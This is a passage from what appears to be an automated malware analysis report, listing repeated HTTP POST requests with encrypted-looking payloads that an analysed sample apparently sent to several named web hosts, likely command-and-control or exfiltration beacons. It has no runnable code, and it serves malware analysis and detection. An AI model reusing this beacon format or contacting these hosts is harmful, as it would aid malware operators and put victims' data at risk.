4b 6c 68 4c 4c 34 39 61 78 58 59 47 59 31 52 61 56 67 4d 6b 33 73 62 69 6f 72 44 72 37 49 73 42 2f 34 54 78 62 6f 61 6e 75 57 61 61 68 43 67 4f 52 55 76 6b 33 6d 6c 5a 4f 4e 38 69 61 6c 31 44 63 47 54 43 78 5a 79 53 47 6c 53 64 49 47 36 70 6b 54 52 39 4b 42 4e 68 47 37 68 7a 56 73 67 37 37 66 79 41 66 52 52 5a 36 6e 5a 46 72 37 4c 62 65 34 4e 31 6d 57 57 34 4d 2b 6f 4d 39 64 55 6c 45 72 6a 46 52 66 49 33 73 39 44 7a 4a 46 4c 57 2b 79 68 56 53 2f 41 37 41 51 4e 78 47 6b 30 64 31 67 73 66 65 74 74 42 66 67 7a 65 79 45 36 52 58 35 63 44 76 4d 76 78 34 2f 6a 65 62 73 49 2f 79 30 6a 6f 54 6d 49 77 65 74 32 79 49 54 41 4d 52 53 35 47 76 33 39 41 78 61 58 31 50 6d 51 79 56 43 6a 6f 37 65 61 59 79 4a 43 56 39 72 2f 6a 32 54 4a 35 57 69 47 44 4b 38 48 6d 49 69 61 43 57 55 59 6a 47 4f 4c 32 6f 30 39 6f 46 48 4d 63 38 78 45 67 54 75 78 6d 4b 49 79 64 7a 76 4a 43 4b 48 41 71 49 55 5a 58 71 4b 48 74 4a 6d 6f 47 55 3d Data Ascii: z3oPbdIu1A+Vfl3khQBfJ9WLJhciAwI6JvKpm0HJD7qlNp+emExTfaDzFFsbx0dsI0VyNrA4u+aoFCE/Z9ANCaiYdBLjaH+jLb8xFtqsoi6matY03jgRjC2EIceF5Spm6ljVItmKankQZOm8nrC891hXQN0og9Xw319MFOPWHMHDFyWZQ1tj0bY3F9ZEEkaVNRAZtviqit/cc8F4jr/8s74kYCMMmYb3FtJD1HgkPm/lx1+q7GU9haP1SUCv489/m8KlhLL49axXYGY1RaVgMk3sbiorDr7IsB/4TxboanuWaahCgORUvk3mlZON8ial1DcGTCxZySGlSdIG6pkTR9KBNhG7hzVsg77fyAfRRZ6nZFr7Lbe4N1mWW4M+oM9dUlErjFRfI3s9DzJFLW+yhVS/A7AQNxGk0d1gsfettBfgzeyE6RX5cDvMvx4/jebsI/y0joTmIwet2yITAMRS5Gv39AxaX1PmQyVCjo7eaYyJCV9r/j2TJ5WiGDK8HmIiaCWUYjGOL2o09oFHMc8xEgTuxmKIydzvJCKHAqIUZXqKHtJmoGU=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.usadig.comCache-Control: no-cacheData Raw: 6d 77 46 35 45 73 2f 67 59 46 72 61 68 4f 77 57 62 74 63 6a 59 64 6a 33 56 6f 68 6c 6a 66 37 51 63 39 57 4b 7a 2f 49 66 45 44 73 6c 79 6a 56 48 35 34 34 64 63 77 56 66 56 6d 48 62 48 6d 32 70 74 36 45 39 4a 74 76 7a 6a 51 4d 78 61 4a 30 6f 58 4c 69 64 36 39 65 32 79 50 59 62 2f 72 35 72 64 55 30 4d 67 42 6f 51 58 66 2b 2b 33 51 75 6e 2b 34 78 54 66 56 4e 7a 65 4d 4b 2b 30 47 41 50 65 37 72 78 4f 68 71 76 7a 69 79 46 46 73 62 65 69 2f 59 73 41 53 70 54 58 50 69 55 6d 62 30 6e 6e 62 44 48 4b 47 30 33 52 6f 6a 74 4e 4a 38 69 52 62 63 49 30 53 2b 4a 5a 55 38 2f 4e 72 56 59 49 61 6f 7a 52 4f 70 38 7a 72 43 6c 49 78 6d 4a 77 51 54 31 49 61 53 44 62 37 35 5a 50 44 33 6f 65 42 34 4c 54 56 4d 49 57 4f 4c 59 32 38 6c 50 77 7a 49 76 55 4f 53 78 61 4c 70 68 32 7a 68 79 33 2b 65 56 6a 33 55 68 47 35 30 7a 34 43 5a 4f 38 30 44 32 44 4e 61 6b 6e 55 6d 2b 37 45 46 37 6d 61 6b 74 6d 51 75 32 71 4c 72 4a 76 32 38 76 38 2b 50 61 6f 58 41 64 7a 6b 49 77 43 4a 32 48 39 46 2f 6a 41 67 59 52 50 72 6f 31 73 4c 2b 4d 71 4e 75 55 4f 6c 64 61 57 2f 74 75 4f 44 39 49 4e 6a 31 37 49 59 71 62 75 4d 59 68 4c 74 70 67 54 35 76 65 6d 44 4b 78 64 72 7a 46 45 5a 58 43 72 71 34 4b 49 6f 39 62 33 59 65 5a 53 41 7a 63 42 54 65 75 56 70 51 4f 65 53 66 74 76 78 2b 6b 51 32 63 68 48 58 75 56 49 2b 62 66 6e 44 56 50 36 74 59 33 6f 72 52 74 43 35 44 4e 41 62 57 55 52 50 72 58 6d 77 48 55 4d 68 69 30 55 52 63 47 6f 2b 73 69 36 41 2b 6a 74 36 54 78 48 4f 74 58 38 6c 76 42 52 61 77 6f 62 77 50 48 68 76 4c 57 34 6d 34 74 74 62 52 5a 53 42 69 39 51 31 71 37 30 61 31 77 2f 78 4f 71 62 62 44 43 61 4c 4b 48 51 44 48 5a 31 65 45 54 6a 63 55 73 31 51 3d 3d Data Ascii: mwF5Es/gYFrahOwWbtcjYdj3Vohljf7Qc9WKz/IfEDslyjVH544dcwVfVmHbHm2pt6E9JtvzjQMxaJ0oXLid69e2yPYb/r5rdU0MgBoQXf++3Qun+4xTfVNzeMK+0GAPe7rxOhqvziyFFsbei/YsASpTXPiUmb0nnbDHKG03RojtNJ8iRbcI0S+JZU8/NrVYIaozROp8zrClIxmJwQT1IaSDb75ZPD3oeB4LTVMIWOLY28lPwzIvUOSxaLph2zhy3+eVj3UhG50z4CZO80D2DNaknUm+7EF7maktmQu2qLrJv28v8+PaoXAdzkIwCJ2H9F/jAgYRPro1sL+MqNuUOldaW/tuOD9INj17IYqbuMYhLtpgT5vemDKxdrzFEZXCrq4KIo9b3YeZSAzcBTeuVpQOeSftvx+kQ2chHXuVI+bfnDVP6tY3orRtC5DNAbWURPrXmwHUMhi0URcGo+si6A+jt6TxHOtX8lvBRawobwPHhvLW4m4ttbRZSBi9Q1q70a1w/xOqbbDCaLKHQDHZ1eETjcUs1Q==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 68 36 69 79 6c 6a 52 45 4c 77 2f 49 71 68 63 5a 6a 79 49 57 67 49 66 64 5a 75 45 73 32 63 31 2f 71 45 54 64 2b 37 43 78 78 54 61 54 4b 54 76 61 48 32 6d 62 2b 74 7a 4c 36 55 4a 70 61 45 38 2b 71 69 50 61 71 49 6d 62 50 68 46 57 70 6b 66 65 43 54 53 79 78 4a 73 37 59 53 45 57 63 76 73 70 48 4e 34 73 36 58 68 35 63 6b 53 43 6f 52 69 71 33 50 6d 47 6f 39 6b 6c 45 79 75 66 5a 42 64 79 72 66 61 53 49 6e 65 38 63 44 47 4f 4d 71 30 44 37 47 4f 52 51 62 4b 44 54 33 4a 46 75 4c 2f 6e 32 6c 53 34 74 4c 6d 77 4c 46 51 50 4e 45 43 79 76 6f 6c 6b 2b 70 73 46 31 6e 46 4b 68 2b 35 6e 75 6a 52 38 67 71 4e 39 2b 61 44 76 42 48 67 56 66 74 42 58 75 6f 4c 61 69 52 5a 48 48 56 77 6e 6b 5a 61 6c 6e 61 69 2b 39 36 53 2f 64 39 2f 36 77 78 53 59 2f 63 55 49 38 39 6a 46 68 73 6c 74 38 61 50 76 53 36 53 64 4a 39 33 58 32 53 55 68 74 6a 68 57 2f 32 4c 38 67 37 37 76 4b 35 76 63 48 54 77 6e 31 34 77 6c 67 72 52 67 38 37 62 41 45 55 7a 74 4e 78 4f 6b 67 61 62 58 34 77 55 32 59 71 66 34 66 4a 61 36 48 2f 50 45 37 65 4e 78 63 55 53 37 2b 48 71 2b 49 59 53 62 4c 76 4f 70 78 50 70 6c 36 79 33 72 61 4b 47 4c 6b 47 55 6f 56 54 42 76 36 4b 53 51 48 44 32 35 4b 41 58 72 73 75 59 44 6f 47 75 77 58 6e 37 6e 50 43 5a 4c 58 73 47 58 69 55 7a 34 45 43 4b 47 76 35 5a 53 66 35 38 6e 65 48 37 70 51 65 50 31 61 6f 65 30 71 68 76 66 45 76 42 37 74 69 55 65 37 49 69 55 54 55 4c 47 34 78 36 66 53 75 32 58 54 44 51 4c 75 56 4a 4a 69 6e 56 75 75 56 6c 4d 4d 55 64 6a 45 2f 42 4f 58 6e 5a 2f 72 39 66 32 73 31 41 46 4f 54 35 34 53 44 33 67 38 4a 67 58 65 6d 52 2f 4c 63 50 47 69 32 54 72 58 56 75 6a 6a 4d 72 75 70 47 66 41 47 2b 62 6c 58 6e 51 6d 33 77 54 64 36 50 4a 69 6a 76 62 33 6e 52 34 48 34 4b 7a 67 35 61 45 3d Data Ascii: h6iyljRELw/IqhcZjyIWgIfdZuEs2c1/qETd+7CxxTaTKTvaH2mb+tzL6UJpaE8+qiPaqImbPhFWpkfeCTSyxJs7YSEWcvspHN4s6Xh5ckSCoRiq3PmGo9klEyufZBdyrfaSIne8cDGOMq0D7GORQbKDT3JFuL/n2lS4tLmwLFQPNECyvolk+psF1nFKh+5nujR8gqN9+aDvBHgVftBXuoLaiRZHHVwnkZalnai+96S/d9/6wxSY/cUI89jFhslt8aPvS6SdJ93X2SUhtjhW/2L8g77vK5vcHTwn14wlgrRg87bAEUztNxOkgabX4wU2Yqf4fJa6H/PE7eNxcUS7+Hq+IYSbLvOpxPpl6y3raKGLkGUoVTBv6KSQHD25KAXrsuYDoGuwXn7nPCZLXsGXiUz4ECKGv5ZSf58neH7pQeP1aoe0qhvfEvB7tiUe7IiUTULG4x6fSu2XTDQLuVJJinVuuVlMMUdjE/BOXnZ/r9f2s1AFOT54SD3g8JgXemR/LcPGi2TrXVujjMrupGfAG+blXnQm3wTd6PJijvb3nR4H4Kzg5aE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 48 46 57 56 4c 58 59 38 6d 6c 6b 43 45 55 67 67 30 51 6e 68 4a 42 6c 35 72 4b 2b 57 71 35 54 6d 43 71 69 71 55 62 41 55 51 4e 34 76 44 67 47 72 6e 7a 39 68 74 6f 61 58 64 74 6a 6a 62 31 30 4a 75 64 55 50 6e 54 43 6b 42 7a 46 47 4f 41 45 4b 5a 54 45 44 6d 43 47 68 31 72 50 6d 6b 39 6a 42 4c 57 6d 46 65 71 5a 63 4c 4a 6c 51 46 69 41 78 73 55 62 61 38 52 31 67 66 75 55 57 77 51 78 6a 45 6b 51 6e 6d 78 49 74 44 75 32 6c 71 52 2f 6a 79 69 72 49 34 74 63 38 70 6a 46 37 53 36 2b 44 47 66 51 41 51 7a 74 6e 38 35 69 43 6b 2b 64 6a 58 35 59 2f 2f 57 30 48 38 51 65 6d 53 57 37 30 30 70 73 4e 68 47 6e 43 50 50 36 73 66 61 42 76 67 6b 6f 62 57 30 46 63 4e 70 50 56 2b 45 52 70 75 2b 6d 52 71 6f 47 77 65 63 38 56 4d 59 30 61 4a 4d 55 79 36 37 4f 38 56 4b 44 58 63 4f 41 70 68 65 42 33 37 70 71 6f 69 47 30 58 4f 61 74 61 66 37 64 49 65 43 74 56 52 5a 54 71 34 79 32 4d 6e 58 6e 44 39 54 61 45 33 31 2f 69 78 36 4e 7a 63 58 67 68 4e 71 59 50 51 64 45 46 36 6c 54 61 65 76 79 42 4d 4c 31 6f 6e 67 31 4e 65 2f 6a 46 47 62 2f 4c 39 31 62 6b 70 4e 31 34 57 4c 51 73 44 42 6d 4f 2b 48 47 6d 63 41 42 76 50 46 77 38 35 69 55 6f 37 6d 39 6f 58 35 41 68 68 71 55 2f 65 4a 51 79 2f 54 48 2b 44 51 42 2f 54 45 78 72 55 37 67 6d 30 70 6e 57 34 2f 74 74 6e 42 52 54 38 50 39 4d 30 2b 59 33 47 47 67 69 49 69 6a 54 6f 57 31 68 51 73 41 31 4c 54 43 6b 6a 45 34 55 73 42 48 62 72 47 4a 42 2b 76 37 42 38 61 6c 72 49 4d 59 55 59 73 37 4e 38 4b 55 44 47 62 4e 37 5a 39 2b 54 46 6b 66 37 6f 4e 59 66 57 69 35 48 4c 71 4f 6b 61 31 45 69 36 6b 69 6e 5a 2b 37 53 4a 77 44 50 77 43 4c 72 78 67 6e 4d 6f 76 47 54 38 4b 43 44 2b 76 49 31 30 64 67 4e 74 67 3d 3d Data Ascii: HFWVLXY8mlkCEUgg0QnhJBl5rK+Wq5TmCqiqUbAUQN4vDgGrnz9htoaXdtjjb10JudUPnTCkBzFGOAEKZTEDmCGh1rPmk9jBLWmFeqZcLJlQFiAxsUba8R1gfuUWwQxjEkQnmxItDu2lqR/jyirI4tc8pjF7S6+DGfQAQztn85iCk+djX5Y//W0H8QemSW700psNhGnCPP6sfaBvgkobW0FcNpPV+ERpu+mRqoGwec8VMY0aJMUy67O8VKDXcOApheB37pqoiG0XOataf7dIeCtVRZTq4y2MnXnD9TaE31/ix6NzcXghNqYPQdEF6lTaevyBML1ong1Ne/jFGb/L91bkpN14WLQsDBmO+HGmcABvPFw85iUo7m9oX5AhhqU/eJQy/TH+DQB/TExrU7gm0pnW4/ttnBRT8P9M0+Y3GGgiIijToW1hQsA1LTCkjE4UsBHbrGJB+v7B8alrIMYUYs7N8KUDGbN7Z9+TFkf7oNYfWi5HLqOka1Ei6kinZ+7SJwDPwCLrxgnMovGT8KCD+vI10dgNtg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.medius.siCache-Control: no-cacheData Raw: 70 43 35 4e 32 57 33 79 38 6c 6d 6c 4c 75 51 6c 5a 4c 41 42 52 79 5a 64 71 63 70 62 4f 73 46 4e 38 56 6e 5a 51 4f 78 4a 2b 47 33 55 49 2b 30 59 35 37 31 6c 79 72 6c 4a 74 54 55 52 2b 58 66 58 4d 51 49 48 46 59 4f 30 75 6a 73 6f 6e 74 50 44 53 78 70 4f 49 42 46 52 31 62 53 4d 37 49 6b 6f 44 65 48 34 51 39 71 45 48 4a 66 73 58 6f 64 4f 46 39 4e 51 47 51 77 67 52 32 67 2f 43 72 65 51 68 57 77 58 57 64 5a 53 73 38 75 4f 39 33 50 50 42 65 47 73 42 6a 66 58 54 63 74 64 63 51 4e 30 44 69 78 47 65 4d 6c 78 42 59 6a 49 69 77 55 6d 35 38 6b 6c 4e 41 65 2b 66 59 4f 55 48 74 39 76 44 37 33 58 79 4e 68 54 38 37 63 68 55 50 70 6e 34 64 71 76 31 76 39 59 49 33 48 39 42 46 75 5a 4c 59 4b 6d 2f 7a 5a 30 56 30 59 64 4d 6c 62 46 4d 6f 55 4d 5a 46 48 45 77 56 2b 59 2b 32 71 4f 52 62 73 78 63 31 48 4c 68 6c 4b 6c 2b 70 6f 44 65 41 68 35 66 4c 48 49 6b 4e 6b 58 4b 7a 53 30 67 45 32 6c 69 66 64 36 6e 62 4e 4b 57 49 53 6b 72 79 6f 75 4d 68 30 42 4a 59 51 6f 39 49 37 38 79 78 36 75 6a 6a 66 6e 46 67 6b 63 42 37 4e 72 4d 42 4b 41 54 77 54 56 78 6f 6d 70 6f 41 69 53 56 46 57 64 4b 62 62 61 64 2f 43 6f 51 6d 2b 72 57 48 6f 4f 2b 6b 51 78 42 4f 41 6f 6c 6e 5a 43 7a 6d 79 4a 39 6f 57 4d 30 57 55 62 36 45 55 58 2f 35 78 4f 43 7a 42 79 49 4b 38 71 44 44 4b 31 5a 75 41 73 70 4f 46 37 72 46 59 52 37 33 4c 65 61 69 65 5a 4c 2b 36 33 47 67 4c 70 66 77 79 53 72 65 66 56 50 75 71 6b 33 52 72 38 48 31 75 50 2b 5a 43 6e 31 77 53 2f 4d 4a 30 2b 57 6a 73 75 37 76 63 45 59 72 37 31 75 37 58 2f 2b 62 6c 69 54 39 66 6d 2b 4d 68 4d 58 58 7a 70 43 55 66 55 49 79 49 55 37 57 2f 75 45 30 2b 38 47 68 6a 4e 6d 36 41 53 32 62 78 53 42 6d 79 79 6d 69 71 6d 5a 62 50 30 43 6d 56 72 42 53 66 36 4a 39 64 62 72 69 35 71 45 76 6b 6b 67 41 50 32 31 78 41 56 36 4b 62 74 4b 59 38 3d Data Ascii: pC5N2W3y8lmlLuQlZLABRyZdqcpbOsFN8VnZQOxJ+G3UI+0Y571lyrlJtTUR+XfXMQIHFYO0ujsontPDSxpOIBFR1bSM7IkoDeH4Q9qEHJfsXodOF9NQGQwgR2g/CreQhWwXWdZSs8uO93PPBeGsBjfXTctdcQN0DixGeMlxBYjIiwUm58klNAe+fYOUHt9vD73XyNhT87chUPpn4dqv1v9YI3H9BFuZLYKm/zZ0V0YdMlbFMoUMZFHEwV+Y+2qORbsxc1HLhlKl+poDeAh5fLHIkNkXKzS0gE2lifd6nbNKWISkryouMh0BJYQo9I78yx6ujjfnFgkcB7NrMBKATwTVxompoAiSVFWdKbbad/CoQm+rWHoO+kQxBOAolnZCzmyJ9oWM0WUb6EUX/5xOCzByIK8qDDK1ZuAspOF7rFYR73LeaieZL+63GgLpfwySrefVPuqk3Rr8H1uP+ZCn1wS/MJ0+Wjsu7vcEYr71u7X/+bliT9fm+MhMXXzpCUfUIyIU7W/uE0+8GhjNm6AS2bxSBmyymiqmZbP0CmVrBSf6J9dbri5qEvkkgAP21xAV6KbtKY8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 68 36 69 79 6c 6a 52 45 4c 77 2f 49 71 68 63 5a 6a 79 49 57 67 49 66 64 5a 75 45 73 32 63 31 2f 71 45 54 64 2b 37 43 78 78 54 61 54 4b 54 76 61 48 32 6d 62 2b 74 7a 4c 36 55 4a 70 61 45 38 2b 71 69 50 61 71 49 6d 62 50 68 46 57 70 6b 66 65 43 54 53 79 78 4a 73 37 59 53 45 57 63 76 73 70 48 4e 34 73 36 58 68 35 63 6b 53 43 6f 52 69 71 33 50 6d 47 6f 39 6b 6c 45 79 75 66 5a 42 64 79 72 66 61 53 49 6e 65 38 63 44 47 4f 4d 71 30 44 37 47 4f 52 51 62 4b 44 54 33 4a 46 75 4c 2f 6e 32 6c 53 34 74 4c 6d 77 4c 46 51 50 4e 45 43 79 76 6f 6c 6b 2b 70 73 46 31 6e 46 4b 68 2b 35 6e 75 6a 52 38 67 71 4e 39 2b 61 44 76 42 48 67 56 66 74 42 58 75 6f 4c 61 69 52 5a 48 48 56 77 6e 6b 5a 61 6c 6e 61 69 2b 39 36 53 2f 64 39 2f 36 77 78 53 59 2f 63 55 49 38 39 6a 46 68 73 6c 74 38 61 50 76 53 36 53 64 4a 39 33 58 32 53 55 68 74 6a 68 57 2f 32 4c 38 67 37 37 76 4b 35 76 63 48 54 77 6e 31 34 77 6c 67 72 52 67 38 37 62 41 45 55 7a 74 4e 78 4f 6b 67 61 62 58 34 77 55 32 59 71 66 34 66 4a 61 36 48 2f 50 45 37 65 4e 78 63 55 53 37 2b 48 71 2b 49 59 53 62 4c 76 4f 70 78 50 70 6c 36 79 33 72 61 4b 47 4c 6b 47 55 6f 56 54 42 76 36 4b 53 51 48 44 32 35 4b 41 58 72 73 75 59 44 6f 47 75 77 58 6e 37 6e 50 43 5a 4c 58 73 47 58 69 55 7a 34 45 43 4b 47 76 35 5a 53 66 35 38 6e 65 48 37 70 51 65 50 31 61 6f 65 30 71 68 76 66 45 76 42 37 74 69 55 65 37 49 69 55 54 55 4c 47 34 78 36 66 53 75 32 58 54 44 51 4c 75 56 4a 4a 69 6e 56 75 75 56 6c 4d 4d 55 64 6a 45 2f 42 4f 58 6e 5a 2f 72 39 66 32 73 31 41 46 4f 54 35 34 53 44 33 67 38 4a 67 58 65 6d 52 2f 4c 63 50 47 69 32 54 72 58 56 75 6a 6a 4d 72 75 70 47 66 41 47 2b 62 6c 58 6e 51 6d 33 77 54 64 36 50 4a 69 6a 76 62 33 6e 52 34 48 34 4b 7a 67 35 61 45 3d Data Ascii: h6iyljRELw/IqhcZjyIWgIfdZuEs2c1/qETd+7CxxTaTKTvaH2mb+tzL6UJpaE8+qiPaqImbPhFWpkfeCTSyxJs7YSEWcvspHN4s6Xh5ckSCoRiq3PmGo9klEyufZBdyrfaSIne8cDGOMq0D7GORQbKDT3JFuL/n2lS4tLmwLFQPNECyvolk+psF1nFKh+5nujR8gqN9+aDvBHgVftBXuoLaiRZHHVwnkZalnai+96S/d9/6wxSY/cUI89jFhslt8aPvS6SdJ93X2SUhtjhW/2L8g77vK5vcHTwn14wlgrRg87bAEUztNxOkgabX4wU2Yqf4fJa6H/PE7eNxcUS7+Hq+IYSbLvOpxPpl6y3raKGLkGUoVTBv6KSQHD25KAXrsuYDoGuwXn7nPCZLXsGXiUz4ECKGv5ZSf58neH7pQeP1aoe0qhvfEvB7tiUe7IiUTULG4x6fSu2XTDQLuVJJinVuuVlMMUdjE/BOXnZ/r9f2s1AFOT54SD3g8JgXemR/LcPGi2TrXVujjMrupGfAG+blXnQm3wTd6PJijvb3nR4H4Kzg5aE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.crcsi.orgCache-Control: no-cacheData Raw: 2f 7a 41 47 59 38 32 38 42 52 42 41 70 7a 45 63 52 44 66 34 78 59 5a 36 79 36 49 37 74 50 68 58 55 5a 70 37 58 52 68 64 31 55 53 42 4b 48 7a 66 61 4a 6f 64 50 48 4a 39 32 45 57 63 50 32 6a 7a 34 59 34 34 69 78 77 6d 52 4c 36 73 39 2f 48 61 42 76 47 79 4f 78 59 36 46 4d 39 6c 35 2f 2f 58 48 6b 4b 39 5a 37 7a 51 65 36 38 31 30 38 68 58 75 74 4b 42 47 79 47 56 67 6f 31 54 46 6b 50 71 65 7a 45 6d 62 41 6f 6b 56 31 46 74 4a 4c 6f 63 4b 76 76 31 74 6b 49 46 36 58 38 4b 38 44 4a 49 6e 65 62 50 33 54 4a 57 30 71 4b 73 70 30 33 69 6e 4d 43 6c 4b 51 61 46 71 74 70 4a 42 7a 64 61 46 54 6c 71 30 69 32 56 6b 69 5a 36 46 7a 77 55 53 53 49 6b 50 34 30 2f 6d 55 41 52 6e 55 58 4d 69 34 66 49 67 2f 37 70 55 45 62 63 34 32 75 41 32 6a 5a 65 32 38 68 67 37 54 43 53 6f 6c 49 55 6e 53 42 34 48 48 46 55 6d 34 66 70 64 7a 46 65 79 63 75 31 6e 6c 62 39 71 41 34 5a 68 63 62 6d 59 4c 4c 46 42 35 4f 45 67 48 4f 64 70 6f 6e 58 7a 63 37 69 68 52 6f 58 39 79 54 55 30 63 5a 4e 6f 41 4c 4d 77 35 4e 2f 34 44 37 34 63 55 31 4a 4f 4c 32 53 53 38 4a 52 5a 35 61 46 36 31 48 6b 77 7a 33 4d 63 58 79 33 73 46 53 75 4f 51 31 4a 47 4c 31 34 44 58 58 55 62 68 65 55 45 6b 6a 78 50 6d 71 35 74 71 43 66 79 47 6b 79 35 47 6a 37 4b 49 7a 65 67 58 35 4f 65 61 74 35 41 42 45 34 41 46 49 2f 6c 49 2f 77 56 7a 30 67 4a 45 41 6a 53 73 63 75 33 61 67 5a 44 59 69 33 73 37 31 51 71 70 6d 31 6e 77 4c 4b 6a 42 79 73 30 73 77 4f 42 69 79 31 67 30 54 50 6b 6b 6e 77 43 54 33 38 6a 32 57 72 7a 7a 4b 2b 33 65 70 65 6c 6e 36 44 42 57 59 44 32 73 78 36 30 62 41 63 33 51 51 48 32 59 59 76 54 49 42 75 5a 54 71 72 66 79 6e 43 6a 59 30 63 54 46 43 4c 76 4a 4e 77 43 64 4a 62 62 62 61 53 76 61 54 54 4c 79 7a 36 48 4d 32 33 56 65 70 4f 67 52 67 4a Data Ascii: /zAGY828BRBApzEcRDf4xYZ6y6I7tPhXUZp7XRhd1USBKHzfaJodPHJ92EWcP2jz4Y44ixwmRL6s9/HaBvGyOxY6FM9l5//XHkK9Z7zQe68108hXutKBGyGVgo1TFkPqezEmbAokV1FtJLocKvv1tkIF6X8K8DJInebP3TJW0qKsp03inMClKQaFqtpJBzdaFTlq0i2VkiZ6FzwUSSIkP40/mUARnUXMi4fIg/7pUEbc42uA2jZe28hg7TCSolIUnSB4HHFUm4fpdzFeycu1nlb9qA4ZhcbmYLLFB5OEgHOdponXzc7ihRoX9yTU0cZNoALMw5N/4D74cU1JOL2SS8JRZ5aF61Hkwz3McXy3sFSuOQ1JGL14DXXUbheUEkjxPmq5tqCfyGky5Gj7KIzegX5Oeat5ABE4AFI/lI/wVz0gJEAjSscu3agZDYi3s71Qqpm1nwLKjBys0swOBiy1g0TPkknwCT38j2WrzzK+3epeln6DBWYD2sx60bAc3QQH2YYvTIBuZTqrfynCjY0cTFCLvJNwCdJbbbaSvaTTLyz6HM23VepOgRgJ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 48 46 57 56 4c 58 59 38 6d 6c 6b 43 45 55 67 67 30 51 6e 68 4a 42 6c 35 72 4b 2b 57 71 35 54 6d 43 71 69 71 55 62 41 55 51 4e 34 76 44 67 47 72 6e 7a 39 68 74 6f 61 58 64 74 6a 6a 62 31 30 4a 75 64 55 50 6e 54 43 6b 42 7a 46 47 4f 41 45 4b 5a 54 45 44 6d 43 47 68 31 72 50 6d 6b 39 6a 42 4c 57 6d 46 65 71 5a 63 4c 4a 6c 51 46 69 41 78 73 55 62 61 38 52 31 67 66 75 55 57 77 51 78 6a 45 6b 51 6e 6d 78 49 74 44 75 32 6c 71 52 2f 6a 79 69 72 49 34 74 63 38 70 6a 46 37 53 36 2b 44 47 66 51 41 51 7a 74 6e 38 35 69 43 6b 2b 64 6a 58 35 59 2f 2f 57 30 48 38 51 65 6d 53 57 37 30 30 70 73 4e 68 47 6e 43 50 50 36 73 66 61 42 76 67 6b 6f 62 57 30 46 63 4e 70 50 56 2b 45 52 70 75 2b 6d 52 71 6f 47 77 65 63 38 56 4d 59 30 61 4a 4d 55 79 36 37 4f 38 56 4b 44 58 63 4f 41 70 68 65 42 33 37 70 71 6f 69 47 30 58 4f 61 74 61 66 37 64 49 65 43 74 56 52 5a 54 71 34 79 32 4d 6e 58 6e 44 39 54 61 45 33 31 2f 69 78 36 4e 7a 63 58 67 68 4e 71 59 50 51 64 45 46 36 6c 54 61 65 76 79 42 4d 4c 31 6f 6e 67 31 4e 65 2f 6a 46 47 62 2f 4c 39 31 62 6b 70 4e 31 34 57 4c 51 73 44 42 6d 4f 2b 48 47 6d 63 41 42 76 50 46 77 38 35 69 55 6f 37 6d 39 6f 58 35 41 68 68 71 55 2f 65 4a 51 79 2f 54 48 2b 44 51 42 2f 54 45 78 72 55 37 67 6d 30 70 6e 57 34 2f 74 74 6e 42 52 54 38 50 39 4d 30 2b 59 33 47 47 67 69 49 69 6a 54 6f 57 31 68 51 73 41 31 4c 54 43 6b 6a 45 34 55 73 42 48 62 72 47 4a 42 2b 76 37 42 38 61 6c 72 49 4d 59 55 59 73 37 4e 38 4b 55 44 47 62 4e 37 5a 39 2b 54 46 6b 66 37 6f 4e 59 66 57 69 35 48 4c 71 4f 6b 61 31 45 69 36 6b 69 6e 5a 2b 37 53 4a 77 44 50 77 43 4c 72 78 67 6e 4d 6f 76 47 54 38 4b 43 44 2b 76 49 31 30 64 67 4e 74 67 3d 3d Data Ascii: HFWVLXY8mlkCEUgg0QnhJBl5rK+Wq5TmCqiqUbAUQN4vDgGrnz9htoaXdtjjb10JudUPnTCkBzFGOAEKZTEDmCGh1rPmk9jBLWmFeqZcLJlQFiAxsUba8R1gfuUWwQxjEkQnmxItDu2lqR/jyirI4tc8pjF7S6+DGfQAQztn85iCk+djX5Y//W0H8QemSW700psNhGnCPP6sfaBvgkobW0FcNpPV+ERpu+mRqoGwec8VMY0aJMUy67O8VKDXcOApheB37pqoiG0XOataf7dIeCtVRZTq4y2MnXnD9TaE31/ix6NzcXghNqYPQdEF6lTaevyBML1ong1Ne/jFGb/L91bkpN14WLQsDBmO+HGmcABvPFw85iUo7m9oX5AhhqU/eJQy/TH+DQB/TExrU7gm0pnW4/ttnBRT8P9M0+Y3GGgiIijToW1hQsA1LTCkjE4UsBHbrGJB+v7B8alrIMYUYs7N8KUDGbN7Z9+TFkf7oNYfWi5HLqOka1Ei6kinZ+7SJwDPwCLrxgnMovGT8KCD+vI10dgNtg==
